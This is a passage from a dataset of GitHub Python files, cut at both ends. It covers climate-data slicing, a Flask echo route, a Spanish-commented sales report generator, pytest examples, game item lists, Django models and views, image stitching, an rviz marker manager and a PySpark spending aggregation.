0.8, facecolor = 'none', lw = 1)\n\n\n\n\n\n#%%\n# =============================================================================\n# Now selecting a region to select the data\n# =============================================================================\n\n# Select a region (the Netherlands is 38/148)\nID_REGION = 150\n\n# Select the lat/lon combo's as vector to use later\nlat = mask.lat.values\nlon = mask.lon.values\n\n# We select the region under consideration\nsel_mask = mask.where(mask == ID_REGION).values\n\n# Select the specific lat/lon combo that is the minimum bounding box\nid_lon = lon[np.where(~np.all(np.isnan(sel_mask), axis=0))]\nid_lat = lat[np.where(~np.all(np.isnan(sel_mask), axis=1))]\n\n# This is the fancy loop by Matteo that uses the compute dask function to load and slice the data\nout_sel = ds.sel(lat = slice(id_lat[0], id_lat[-1]), lon = slice(id_lon[0], id_lon[-1])).compute().where(mask == ID_REGION)\n\n# =============================================================================\n# A quick figure for the sanity checks\n# =============================================================================\nplt.figure(figsize=(12,8))\nax = plt.axes()\nout_sel.solarCF.isel(time = 4140).plot(ax = ax)\nnuts1.plot(ax = ax, alpha = 0.8, facecolor = 'none')\n\n\n\n#%%\n# =============================================================================\n# Regional mean for saving data\n# =============================================================================\n\n# Now calculate the regional mean \nx = out_sel.solarCF.groupby('time').mean(...)\nx.plot()\n\n# # Saving function\n# x.t2m.to_pandas().to_csv('average-temperature.csv', header = ['t2m'])\n","repo_name":"laurensstoop/EnergyVariables","sub_path":"src/archive/1_ERA5_ENTSO-E_StudyZones.py","file_name":"1_ERA5_ENTSO-E_StudyZones.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42058804316","text":"from flask import Flask, jsonify, request\n\napp = Flask(__name__)\n\n@app.route(\"/test\", methods = [\"GET\", \"POST\"])\ndef hello():\n    request_body = request.get_json()\n    return {\"Hi\":request_body}\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)","repo_name":"yoworg/code","sub_path":"apflask.py","file_name":"apflask.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40606018794","text":"import time\nfrom copy import deepcopy\nfrom decimal import Decimal\nfrom DBFTPManager import *\nfrom Persistencia import *\nfrom datetime import datetime\nfrom datetime import timedelta\n\nclass ReportsManager():\n    #Metodo constructor, este codigo se ejecutara apenas se genere una instancia de la clase\n    def __init__(self)->None:self.__señal=self.cargar_Config()\n\n    #Esta metodo es el punto de inicio, aqui comprobmos que el tiempo de comprobacion y el tiempo uxiliar sea minimo de 10 minutos, tambien definimos el intervalo de tiempo en el que el programa esta activo y solo funciona si las configuraciones estan cargadas.\n    def iniRutina(self)->None:\n        while True:\n            if self.__señal:\n                if self.__config['tiempoComprobacion']<600 or type(self.__config['tiempoComprobacion'])!=int:self.__config['tiempoComprobacion']=600 \n                if self.__config['tiempoAuxiliar']<600 or type(self.__config['tiempoAuxiliar'])!=int:self.__config['tiempoAuxiliar']=600\n                if self.__config['hora_inicio']>0 and self.__config['hora_fin']>0 and self.__config['hora_fin']>self.__config['hora_inicio']:\n                    if self.__config['hora_inicio']<=self.__hoy.hour<=self.__config['hora_fin']:\n                        list(map(self.analisis_DB,self.__estaciones.values()))\n                        time.sleep(self.__config['tiempoComprobacion']*60)\n                    time.sleep((24-(self.__config['hora_fin']-self.__config['hora_inicio']))*3600)\n                else:time.sleep(self.__config['tiempoAuxiliar']*60)\n            else:\n                print(f\"Archivos de configuracion incompletos, en {self.__config['tiempoAuxiliar']} minutos se intentara de nuevo\")\n                time.sleep(self.__config['tiempoAuxiliar']*60)    \n\n    #Traemos toda la configuracion necesaria desde los archivos JSON y definimos las variables que utilizaremos, en este caso vtas como una lista vacia donde dejaremos los datos finales y hoy con la fecha actual\n    def cargar_Config(self)->bool:\n        self.__db=ManagerDB()\n        self.__hoy=datetime.now()\n        self.__auxFecha=(self.__hoy-timedelta(days=1)).strftime('%d%m%Y')\n        self.__config=Archivos.traerConfiguraciones()\n        self.__db.cagarConf(self.__config)\n        self.__estaciones=Archivos.traerEstaciones()\n        self.__concepJer=Archivos.traerConcepJerar()\n        self.__concepJerDev=Archivos.traerConcepJerarDev()\n        self.__concepJerAnulaciones=Archivos.traerAnulaciones()\n        self.__defM=Archivos.traerDefM()\n        self.__defST=Archivos.traerDefST()\n        if self.__config and self.__concepJer and self.__concepJerDev and self.__defM and self.__defST and self.__estaciones and self.__concepJerAnulaciones:return True\n        return False\n\n    #Esta funcion comprueba la conexion a la DB de la estacion y la conexion a la DB de sistemas, verifica si existen datos para realizar el rpeorte, verifica si el reporte ya esta creado, si no esta creado trae la consulta desde la DB de la estacion y guarda la consulta en la DB de la interfaz, comprueba los dias que se necesitan para hacer los reportes e inicia el proceso de creacion del reporte\n    def analisis_DB(self,estacion:dict,data=[])->None:\n        print(f'{estacion[\"punto\"]}:')\n        if self.__db.conectar_DBInterfaz() and self.__db.comprobar_DBInterfaz() and self.__db.comprobar_TablaInterfaz(estacion['punto']):\n            if self.__db.conectar_Estacion(estacion['ip']):\n                data=self.__db.consulta_Estacion(self.__config['consulta'])\n                if not data:return print(\"\\tNo hay datos para crear el reporte\")\n                self.__db.guardar_ConsultaDia(data,estacion['punto'],self.__hoy)\n                if self.comprobar_Reportes(estacion,self.__auxFecha):\n                    if self.__hoy.day==1 or self.__config['dia_inicio']==None or self.__config['dia_fin']==None:\n                        self.organizar_Vtas(data,estacion,False,self.__auxFecha)\n                    elif self.__config['dia_inicio']<=self.__hoy.day<=self.__config['dia_fin']:pass\n                    elif self.__hoy.day>self.__config['dia_fin']+1 or self.__config['dia_inicio']==None or self.__config['dia_fin']==None:self.organizar_Vtas(data,estacion,False,self.__auxFecha)\n                else:print(f\"Reporte del dia {(self.__hoy-timedelta(days=1)).date()} ya esta creado\")\n                if self.__config['dia_inicio']!=None and self.__config['dia_fin']!=None and self.__hoy.day>self.__config['dia_fin']:\n                    print(f'Reporte del dia {self.__config[\"dia_inicio\"]} al {self.__config[\"dia_fin\"]}->')\n                    auxFecha=self.__hoy.replace(day=self.__config['dia_fin']).strftime(\"%d%m%Y\")\n                    if self.comprobar_Reportes(estacion,auxFecha):\n                        del data\n                        data=self.__db.consulta_InterfazDB(estacion['punto'])\n                        self.organizar_Vtas(data,estacion,True,auxFecha)\n                    else:print('\\tYa esta creado')\n                self.__db.cerrarConexion()\n            else:print(f\"\\tNo se pudo conectar a la DB de {estacion['punto']}\")\n        else: print(\"\\tError en la DB de la interfaz\")\n\n    #Comprobamos si el reporte ya esta hecho.\n    def comprobar_Reportes(self,estacion:dict,fecha:str)->bool:\n        bandera1,bandera2='',''\n        existe=lambda archivo,oficina: True if fecha==archivo.split(f'VTAS{oficina}')[1].split('.txt')[0] else False\n        reportes1=Archivos.traerNombreReportes(estacion['punto'],estacion['oficina'])\n        bandera1=next(filter(lambda archivo:existe(archivo,estacion['oficina']),reportes1),'')\n        if estacion['oficina2']!=None:\n            reportes2=Archivos.traerNombreReportes(estacion['punto'],estacion['oficina2'])\n            bandera2=next(filter(lambda archivo:existe(archivo,estacion['oficina2']),reportes2),'')\n            return bandera1=='' or bandera2==''\n        return bandera1==''\n\n    #Primeros filtros para que la informacion quede separada, por fecha valida, dato valido, separar los descuentos, corregir los datos None que vengan de la DB, calcular las propinas, aplicar los descuentos y sumar los valores por codigo de producto (PPD)\n    def organizar_Vtas(self,data:list,estacion:dict,bandera:bool,fecha:str)->None:\n        self.__descuentos,self.__formasPago,propinas,vtas=[],[],[],[]\n        vtas=list(filter(lambda x:self.fecha_Valida(x[1],x[11],bandera),data))\n        vtas=list(filter(self.datovalido_descuentos,vtas))\n        vtas=list(map(self.fix_None_Convertir,vtas))\n        propinas=self.calcular_Propinas(vtas,estacion)\n        self.aplicar_Descuentos(vtas)\n        self.marcar_NotaCredito(vtas)\n        if estacion['oficina2']!=None:\n            ofi1,ofi2=[],[]\n            self.separar_oficinas(vtas,estacion['defAparte'],ofi1,ofi2)\n            ofi1=self.add_ConJer(ofi1,estacion['oficina'],estacion['daportare'])\n            ofi1=self.suma_Productos(ofi1)\n            ofi2=self.add_ConJer(ofi2,estacion['oficina2'],estacion['daportare'])\n            ofi2=self.suma_Productos(ofi2)\n            self.mst_impo_completar(ofi1,estacion['daportare'],estacion['oficina'],estacion['punto'],propinas,fecha)\n            self.mst_impo_completar(ofi2,estacion['daportare'],estacion['oficina2'],estacion['punto'],propinas,fecha)\n            del vtas\n        else:\n            vtas=self.add_ConJer(vtas,estacion['oficina'],estacion['daportare'])\n            vtas=self.suma_Productos(vtas)\n            self.mst_impo_completar(vtas,estacion['daportare'],estacion['oficina'],estacion['punto'],propinas,fecha)\n\n    #Aqui añadimos MST, calculamos los impuestos, agregamos conceptos, jerarquias y traslados (MST); tambien creamos los reportes\n    def mst_impo_completar(self,datos:list,daportare:bool,oficina:int,punto:str,propinas:list,fecha:str)->None:\n        impoTotal=self.calcular_Quitar_Ico(datos,daportare,oficina,self.__config['impoConsumo'])\n        list(map(self.adicionar_DefMST,datos))\n        if propinas:datos.append(propinas)\n        datos.append(impoTotal)\n        list(map(lambda x:self.add_Anulaciones(x),datos))\n        aux=self.separar_NotasCredito(datos)\n        Archivos().escribirReportes(self.__config['carpetaVtas'],aux[0],punto,oficina,fecha)\n        if aux[1]:Archivos().escribirReportes(self.__config['carpetaNotasCredito'],aux[1],punto,oficina,fecha)\n\n    #Filtramos la informacion que necesitamos segun la fecha, definimos un intervalo comprendido entre las 3:00 am del dia anterior hasta las 2:59am del dia actual\n    def fecha_Valida(self,checkpost:datetime,checkclose:datetime,bandera:bool)->bool:\n        auxfecha=deepcopy(self.__hoy)\n        if checkclose!=None:\n            if bandera:\n                ini_intervalo=auxfecha.replace(day=self.__config['dia_inicio'],hour=3,minute=0,second=0, microsecond=0)\n                fin_intervalo=auxfecha.replace(day=self.__config['dia_fin']+1,hour=3,minute=0,second=0, microsecond=0)\n            else:\n                ini_intervalo=auxfecha.replace(hour=3,minute=0,second=0, microsecond=0)\n                ini_intervalo-=timedelta(days=1)\n                fin_intervalo=auxfecha.replace(hour=3,minute=0,second=0,microsecond=0)\n            return ini_intervalo<=checkpost<fin_intervalo\n        return False\n\n    #Filtramos los datos que necesitamos (verifica si el campo 5 es mayor a 0 y diferete de Nulo, verifica si los campos 10 y 11 son distintos de None), el campo 7 indica si es un dato normal o es un descuento (2: descuento, 1: dato normal), y aqui mismo separamos los descuentos del resto de datos\n    def datovalido_descuentos(self,datos:list)->bool:\n        flag=datos[2]!=7 and datos[5]!=0 and datos[5]!=None and datos[10]!=None\n        if datos[7]==1 and datos[3]>99999 and flag:return True\n        elif datos[7]==2 and flag:self.__descuentos.append(datos)\n        elif datos[7]==4:self.__formasPago.append(datos)\n        return False\n\n    #Si el dato del campo 6 es None se reemplazara su valor con 0 y transformamos cada fila proveniente de la base de datos a una lista\n    def fix_None_Convertir(self,dat:list)->list:\n        if dat[6]==None:dat[6]=0\n        aux=list(dat)\n        aux.append(False)\n        return aux\n    \n    #Se verifica gracias al detailtype 4, si un cheque es una factura normal o una nota credito y en base a eso marcamos cada producto con True o False para posteriormente asignarle un concepto normal o de devolucion\n    def marcar_NotaCredito(self,datos:list)->None:\n        def marcar(forma:list,dat:list)-> None:\n            if forma[0]==dat[0] and forma[6]<0:dat[12]=True\n        aux=lambda x:list(map(lambda y:marcar(x,y),datos))\n        list(map(aux,self.__formasPago))\n\n    #Busca los conceptos y jerarquias, segun el codigo que viene de la DB y verificamos si es una devolucion (si la cantidad o el precio es negativo)\n    def buscar_conceptoJer(self,concepto,daportare:bool,devolucion:bool)->dict:\n        if not devolucion:\n            r=next(filter(lambda x: concepto in x['conceptodb'] and daportare==x['daportare'],self.__concepJer.values()),{})\n            if not r:next(filter(lambda x: None in x['conceptodb'] and daportare==x['daportare'],self.__concepJer.values()),{})\n        elif devolucion:\n            r=next(filter(lambda x: concepto in x['conceptodb'] and daportare==x['daportare'],self.__concepJerDev.values()),{})\n            if not r:next(filter(lambda x: None in x['conceptodb'] and daportare==x['daportare'],self.__concepJerDev.values()),{})\n        return r\n\n    #Busca por concepto (ejemplo: \"0010\") el valor que se le asocia para calcular los impuestos\n    def valor_conceptoJer(self,concepto:str,jerarquia:str)->float or None:\n        if self.__concepJer and self.__concepJerDev:\n            val=next(filter(lambda x: x['concepto']==concepto and x['jerarquia']==jerarquia,self.__concepJer.values()),None)\n            if val==None:val=next(filter(lambda x: x['concepto']==concepto and x['jerarquia']==jerarquia,self.__concepJerDev.values()),None)\n            if val!=None:return val['impuesto']\n        return None\n\n    #Se caculan las propinas, por chk y se le agrega  concepto y jerarquia.\n    def calcular_Propinas(self,datos:list,estacion:dict)->list:\n        conJer=self.buscar_conceptoJer('prop',False,False)\n        chks,propSugerida,propVoluntaria=[],0,0\n        def verificar(dat)->None:\n            nonlocal chks,propSugerida,propVoluntaria\n            if dat[0] not in chks:\n                chks.append(dat[0])\n                if dat[8]!=None:propSugerida+=dat[8]\n                if dat[9]!=None:propVoluntaria+=dat[9]\n        if conJer:\n            list(map(verificar,datos))\n            suma=propSugerida+propVoluntaria\n            if suma>0: return[conJer['concepto'],self.__config['canal'],self.__config['sector'],'',conJer['jerarquia'],estacion['oficina'],'','','',round(suma)]\n            return []\n        return []\n\n    #Aplicamos los descuentos por chk\n    def aplicar_Descuentos(self,datos:list)->None:\n        def aplicar(desc:list,dat:list,suma)->None:\n            if desc[0]==dat[0] and dat[2]!=9:dat[6]=dat[6]-(dat[6]*abs(desc[6]/suma))\n\n        def verificar_chks(descuento:list)->list:\n            suma=0\n            values=list(map(lambda x: x[6] if descuento[0]==x[0] and x[2]!=0 else 0,datos))\n            suma=sum(values)\n            if suma!=0: list(map(lambda x:aplicar(descuento,x,suma),datos))\n\n        if self.__descuentos:list(map(verificar_chks,self.__descuentos))\n    \n    #Se buscan los conceptos y jerarquias asociado a cada dato y se de vuelven los datos en el orden requerido para SAP (concepto, sector,canal, MST, jerarquia, voficina de venta, oficina que produce, PPD, cantidad, valor)\n    def add_ConJer(self,datos:list,oficina:str,daportare:bool)->list:\n        aux,salida,aparte,flag=deepcopy(datos),[],[],False\n        def unaLinea(apar:list,conjer:dict,dat:list)->None:\n            nonlocal flag\n            if apar[0]==conjer['concepto'] and apar[4]==conjer['jerarquia']:\n                apar[9]+=dat[6]\n                flag+=True\n        def recorrer(dat:list)->None:\n            nonlocal flag,aparte\n            conjer=self.buscar_conceptoJer(dat[2],daportare,dat[12])\n            if conjer:\n                if conjer['aparte']:\n                    if not aparte:\n                        aparte.append([conjer['concepto'],self.__config['canal'],self.__config['sector'],'',conjer['jerarquia'],oficina,'','','',dat[6]])\n                    else:\n                        list(map(lambda x: unaLinea(x,conjer,dat),aparte))\n                        if not bool(flag):aparte.append([conjer['concepto'],self.__config['canal'],self.__config['sector'],'',conjer['jerarquia'],oficina,'','','',dat[6]])\n                else:\n                    salida.append([conjer['concepto'],self.__config['canal'],self.__config['sector'],'MST',conjer['jerarquia'],oficina,dat[4],dat[3],dat[5],dat[6]])\n            else:\n                salida.append([dat[0],self.__config['canal'],self.__config['sector'],'MST',f'Sin concepto: {dat[2]}',oficina,dat[4],dat[3],dat[5],dat[6]])\n        list(map(recorrer,aux))\n        return salida+aparte\n\n    #Sumamos cantidades y valores segun el concepto, jerarquia, oficina que produce y PPD\n    def suma_Productos(self,datos:list)->list:\n        ppds,values=[],[]\n        def sumando_ppds(value:list,dat:list)->None:\n            bandera=value[0]==dat[0] and value[4]==dat[4] and value[6]==dat[6] and value[7]==dat[7]\n            if bandera:\n                value[8]+=dat[8]\n                value[9]+=dat[9]\n\n        def agrupar_ppds(dat:list)->None:\n            nonlocal ppds,values\n            aux=[dat[0],dat[4],dat[6],dat[7]]\n            if not ppds or aux not in ppds:\n                ppds.append(aux)\n                values.append(dat)\n            else:\n                list(map(lambda x:sumando_ppds(x,dat),values))\n        list(map(agrupar_ppds,datos))\n        return values\n\n    #Verificamos si el punto consta de una segunda oficina de venta y separamos dichos datos en otra lista.\n    def separar_oficinas(self,datos:list,definicion:int,ofi1:list,ofi2:list)->None:\n        def separar(dat:list)->None:\n            if dat[2]==definicion:ofi2.append(dat)\n            else:ofi1.append(dat)\n        list(map(separar,datos))\n\n    #Calculamos los impuestos y los quitamos de los productos para dejarlos en una linea aparte.\n    def calcular_Quitar_Ico(self,datos:list,daportare:bool,oficina:int,impoConsumo:float)->list:\n        aux=0\n        def calcular(dat:list)->None:\n            nonlocal aux\n            valor=self.valor_conceptoJer(dat[0],dat[4])\n            if valor!=None:\n                dat[9]=round(dat[9]/Decimal(1+valor))\n                if impoConsumo==valor:aux+=dat[9]*Decimal(valor)\n            else:dat[9]=round(dat[9])\n        list(map(calcular,datos))\n        conjer=self.buscar_conceptoJer('impConsumo',daportare,False)\n        impuesto=[conjer['concepto'],self.__config['canal'],self.__config['sector'],'',conjer['jerarquia'],oficina,'','','',round(aux)]\n        return impuesto\n    \n    #En base a ladefiniciones (1,2,3,4,5,18,20.....etc), asignamos las M, S o T y añadimos la oficina de venta que produce el producto\n    def adicionar_DefMST(self,dat:list)->None:\n        if dat[5] in self.__defM['traslados'] and dat[5] not in self.__defM['noTraslados']:\n            if dat[6] in self.__defST['porDefecto']['produce']:\n                aux=self.__defST['porDefecto'][str(dat[6])]\n                dat[3]=aux[1]\n                dat[6]=aux[0]\n            elif dat[6] in self.__defST[str(dat[5])]['produce']:\n                aux=self.__defST[str(dat[5])][str(dat[6])]\n                dat[3]=aux[1]\n                dat[6]=aux[0]\n            else:dat[6]=f\"No_def ->{dat[6]}<- \"\n        elif dat[5] not in self.__defM['traslados'] and dat[5] in self.__defM['noTraslados']:\n            aux=self.__defM['definicion']\n            dat[3]=aux[1]\n            dat[6]=aux[0]\n        else:dat[6]=f\"No_def ->{dat[6]}<-\"\n\n    #Verifica si alguno de los totales es negativo y verifica si es una anulacion para añadirle el concepto correspondiente\n    def add_Anulaciones(self,dato:list)->None:\n        if dato[9]<0:\n            r=next(filter(lambda x: dato[0] in x['conceptodb'] and dato[4] in x['conceptodb'],self.__concepJerAnulaciones.values()),{})\n            if r:dato[0]=r['concepto']\n        if type(dato[8])!=str:dato[8]=abs(dato[8])\n        if type(dato[9])!=str:dato[9]=abs(dato[9])\n\n    #Separa las notas credito\n    def separar_NotasCredito(self,datos:list)->list:\n        vtas,notas=[],[]\n        def validar(dato:list,aux:dict)->None:\n            val=next(filter(lambda x: x['concepto']==dato[0] and x['jerarquia']==dato[4],self.__concepJerDev.values()),None)\n            if val!=None:notas.append(dato)\n            else:vtas.append(dato)\n        list(map(lambda x:validar(x,self.__concepJer),datos))\n        return (vtas,notas)\n\nif __name__=='__main__':ReportsManager().iniRutina()\n","repo_name":"DesarrolloZK/Interfaz-ZK","sub_path":"Reports.py","file_name":"Reports.py","file_ext":"py","file_size_in_byte":18857,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39193284590","text":"\nfrom unittest.mock import patch\n\nfrom chango.core.utils import dumpjs\n\n\n@patch(\"chango.core.utils.escapejs\")\n@patch(\"chango.core.utils.json\")\ndef test_utils_dumpjs(m_json, m_escape):\n    m_json.dumps.return_value = \"JSON\"\n    m_escape.return_value = \"ESCAPED STRING\"\n    result = dumpjs(\"JS\")\n    assert result == \"ESCAPED STRING\"\n    assert (\n        list(m_json.dumps.call_args)\n        == [('JS',), {}])\n    assert (\n        list(m_escape.call_args)\n        == [('JSON',), {}])\n","repo_name":"phlax/chango.core","sub_path":"tests/py/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73728799120","text":"# conftest.py is a file that pytest will automatically import fixtures from\n\nimport pytest\nimport random\n\n# A function that we'll pretend is expensive to run\ndef expensive_computation():\n    return random.randint(0, 10)\n\n\n# A simple fixture that generates some inputs\n# This uses the special request fixture that we can use to access the cache\n@pytest.fixture\ndef expensive_value(request):\n    # Try and get the value from the cache\n    value = request.config.cache.get(\"expensive_value\", None)\n\n    # If we didn't find the value generate it, and set it in the cache\n    if not value:\n        print(\"Generating expensive value!\")\n        value = expensive_computation()\n        request.config.cache.set(\"expensive_value\", value)\n\n    # Return our value\n    return value\n","repo_name":"CoffeeBeforeArch/pytest","sub_path":"src/04_caches/00_basic_caches/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"70229074643","text":"'''\nitems.py - Lists of tuples for different item classes, plus string generation for item names.\nPattern of (name, modifer)\n'''\n\nweapons = [\n    (\"Unarmed\", 0),\n    (\"Bamboo Pole\", 2),\n    (\"Club\", 4),\n    (\"Copper Sword\", 10),\n    (\"Hand Axe\", 15),\n    (\"Broad Sword\", 20),\n    (\"Flame Sword\", 28),\n    (\"Edrick's Sword\", 40)\n]\n\narmors = [\n    (\"Naked\", 0, False, False),\n    (\"Clothes\", 2, False, False),\n    (\"Leather Armor\", 4, False, False),\n    (\"Chain Mail\", 10, False, False),\n    (\"Half Plate\", 16, False, False),\n    (\"Full Plate\", 24, False, False),\n    (\"Magic Armor\", 24, True, False),\n    (\"Edrick's Armor\", 28, True, True)\n]\n\n\nshields = [\n    (\"Naked\", 0),\n    (\"Small Shield\", 4),\n    (\"Large Shield\", 10),\n    (\"Silver Shield\", 25)\n]\n\nw_strings = [i for i, j in weapons]\na_strings = [i for i, j, k, l in armors]\ns_strings = [i for i,j in shields]\n","repo_name":"HarryCoburn/DQ1-Sim-tkinter","sub_path":"items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38016347637","text":"\"\"\"\nWebinar category model\n\"\"\"\n\n# flake8: noqa=E501\n# pylint: disable=line-too-long\n\nfrom django.db.models import (\n    RESTRICT,\n    BooleanField,\n    CharField,\n    ForeignKey,\n    Manager,\n    Model,\n    PositiveSmallIntegerField,\n    Q,\n    QuerySet,\n    SlugField,\n    TextField,\n)\n\nfrom core.consts import SLUG_HELP_TEXT\nfrom core.utils.text import slugify\n\n\nclass WebinarCategoryManager(Manager):\n    \"\"\"Webinar category manager\"\"\"\n\n    def get_visible_categories(self) -> QuerySet[\"WebinarCategory\"]:\n        \"\"\"Get visible categories\"\"\"\n        return self.get_queryset().filter(visible=True)\n\n    def get_main_categories(self) -> QuerySet[\"WebinarCategory\"]:\n        \"\"\"Get main categories (visible categories without parents)\"\"\"\n        return self.get_visible_categories().filter(parent=None)\n\n    def get_subcategories(\n        self, category: \"WebinarCategory\"\n    ) -> QuerySet[\"WebinarCategory\"]:\n        \"\"\"Get all categories that have this category as a parent or grandparent\"\"\"\n        return self.get_visible_categories().filter(parent=category)\n\n\nclass WebinarCategory(Model):\n    \"\"\"Represents webinar's category\"\"\"\n\n    manager = WebinarCategoryManager()\n\n    visible = BooleanField(\"Widoczna na stronie\", default=True)\n    name = CharField(\"Nazwa kategorii\", max_length=100)\n    short_description = CharField(\"Krótki opis\", max_length=100, blank=True)\n    icon_html = TextField(\"Ikona HTML\", blank=True)\n\n    slug = SlugField(\n        \"Skrót URL\",\n        max_length=120,\n        blank=True,\n        unique=True,\n        help_text=SLUG_HELP_TEXT,\n    )\n    parent = ForeignKey(\n        \"self\",\n        on_delete=RESTRICT,\n        blank=True,\n        null=True,\n        verbose_name=\"Rodzic\",\n        help_text=(\"Kategoria nadrzędna\"),\n    )\n    order = PositiveSmallIntegerField(\n        \"Pozycja\",\n        default=100,\n        help_text=(\"Im niższa wartość tym wyższa pozycja kategorii przy wyświetlaniu\"),\n    )\n\n    about_html = TextField(\"Opis kategorii\", default=\"[Opis kategorii]\")\n\n    class Meta:\n        verbose_name = \"Kategoria\"\n        verbose_name_plural = \"Kategorie\"\n\n    def __str__(self):\n        if self.parent:\n            return f\"{str(self.parent.name)} > {str(self.name)}\"\n        else:\n            return str(self.name)\n\n    def save(self, *args, **kwargs) -> None:\n        if not self.slug:\n            if self.parent:\n                self.slug = f\"{slugify(self.name)}-{slugify(self.parent.name)}\"\n            else:\n                self.slug = slugify(self.name)\n\n        return super().save(*args, **kwargs)\n","repo_name":"rolzwy7/wykladowcav2","sub_path":"src/core/models/webinar_category_model.py","file_name":"webinar_category_model.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13970709249","text":"#Panoráma kép készítő alkalmazás\n#Farkas Balázs P3L47H\n\n# referenciák\nimport matplotlib.pyplot as plt\nimport cv2\nimport os\nimport constans as c\nimport logic2 as l\n\n#Start\nprint(\"Start application: \", c.APPNAME)\nimageNames=[]\n\n#képek betöltése\ntry:\n    fullPath=os.path.join(os.getcwd(),'source','test',c.TESTPATH)\n    print(\"Path: \",fullPath)\n    imageNames = [fn for fn in os.listdir(fullPath)\n            if any(fn.upper().endswith(ext) for ext in c.INCLUDED_EXTENSIONS)]\nexcept:\n    print(\"Hiba a fájlok beolvasása közben.\")\n\nprint(imageNames)\nnumberOfImages= len(imageNames)\nimages= [None] * numberOfImages\nimageCounter=0\n\n# Képfájlok betöltése tömbből\nfor imageName in imageNames:\n    fullImagePath=os.path.join(fullPath,imageName)\n    images[imageCounter]=cv2.imread(fullImagePath)\n    images[imageCounter]=images[imageCounter][:,:,::-1] #BGR>>RGB\n    imageCounter+=1\n    print(imageCounter,\": \",imageName)\n\n\nfig, axes = plt.subplots(nrows = 2, ncols = numberOfImages)\nfig.suptitle(c.FIGURE_TITLE, fontsize=16)\n\nfor ax,image in zip(axes.flat,images):\n   ax.imshow(image)\n\n# összes tengely eltávollítása a második sorból\nfor i in range(numberOfImages,1,-1):\n    ax=axes[1,i-1]\n    ax.remove()\n\n# teljes szélességű tengely hozzáadása\ngs = axes[0, 0].get_gridspec()\naxbig = fig.add_subplot(gs[1, 0:])\nax=axes[1,0]\nax.remove()\n\nfullImage=[None]\nfor image in images:\n    fullImage=l.mergeTwoImage(fullImage,image,c.DEBUG_MODE)\n    print(\"FullImage (X,Y): \",len(fullImage[0]),len(fullImage))\n\naxbig.imshow(fullImage)\n\n# teljes képernyős plotter beállítása\nmng = plt.get_current_fig_manager()\nmng.resize(*mng.window.maxsize())\nplt.show()\nprint(\"Application ended.\")","repo_name":"bfarkas981/Panorama","sub_path":"source/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18498859043","text":"from django.shortcuts import render, redirect\nfrom .models import Articles\nfrom .forms import ArticleForms\nfrom django.utils.translation import activate as translation_activate\n# Create your views here.\n\n\ndef index(request):\n    error = \"\"\n    if request.method == \"POST\":\n        form = ArticleForms(request.POST)\n        if form.is_valid():\n            form.save()\n        else:\n            error = \"Форма была не верной\"\n    form = ArticleForms()\n    data = {\"error\": error, \"form\": form}\n\n    return render(request, \"main/index.html\", data)\n\n\ndef change_lang(request, lang_code):\n    translation_activate(lang_code)\n    return redirect('/')\n","repo_name":"alel2003/candler","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5846675298","text":"import threading\nimport rospy\nfrom visualization_msgs.msg import Marker\n\nclass VizManager:\n    '''\n    Class that manages data visualization using rviz.\n    '''\n    def __init__(self, topic):\n        ''' Create an rviz manager that publishes markers on the given topic '''\n        self.lock = threading.Lock()\n        self.marker_pub = rospy.Publisher(topic, Marker)\n        self.markers = {}\n\n    def add(self, m):\n        ''' Add a marker to display '''\n        with self.lock:\n            if not m.ns in self.markers:\n                self.markers[m.ns] = {}\n            self.markers[m.ns][m.id] = m\n\n    def update(self):\n        ''' Send all markers to rviz '''\n        with self.lock:\n            for ns in sorted(self.markers):\n                for idnum in sorted(self.markers[ns]):\n                    self.marker_pub.publish(self.markers[ns][idnum])\n\n    def clear(self):\n        ''' Delete all markers '''\n        with self.lock:\n            for ns in sorted(self.markers):\n                for idnum in sorted(self.markers[ns]):\n                    self.markers[ns][idnum].action = Marker.DELETE\n                    self.marker_pub.publish(self.markers[ns][idnum])\n            self.markers = {}\n","repo_name":"usc-clmc/usc-arm-calibration","sub_path":"pier/src/pier/viz_manager.py","file_name":"viz_manager.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"18582735767","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 23 13:06:27 2021\n\n@author: Aaron Alvarez\n\"\"\"\n\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql import functions as func\nfrom pyspark.sql.types import StructType, StructField, StringType, IntegerType, FloatType\n\nspark = SparkSession.builder.appName(\"Expenses By Customer\").getOrCreate()\n\n# creating schema out of a csv file\nschema = StructType([\\\n                   StructField(\"customerID\",IntegerType(), True),\\\n                   StructField(\"articleID\", IntegerType(), True),\\\n                   StructField(\"moneySpent\", FloatType(), True)])\n    \ndf = spark.read.schema(schema).csv(\"customer-orders.csv\")\ndf.printSchema()\n\ncustomer_expenses = df.groupBy(\"customerID\").agg(func.round(func.sum(\"moneySpent\"), 2).alias(\"total_spent\"))\n                                                        \ntotalByCustomerSorted = 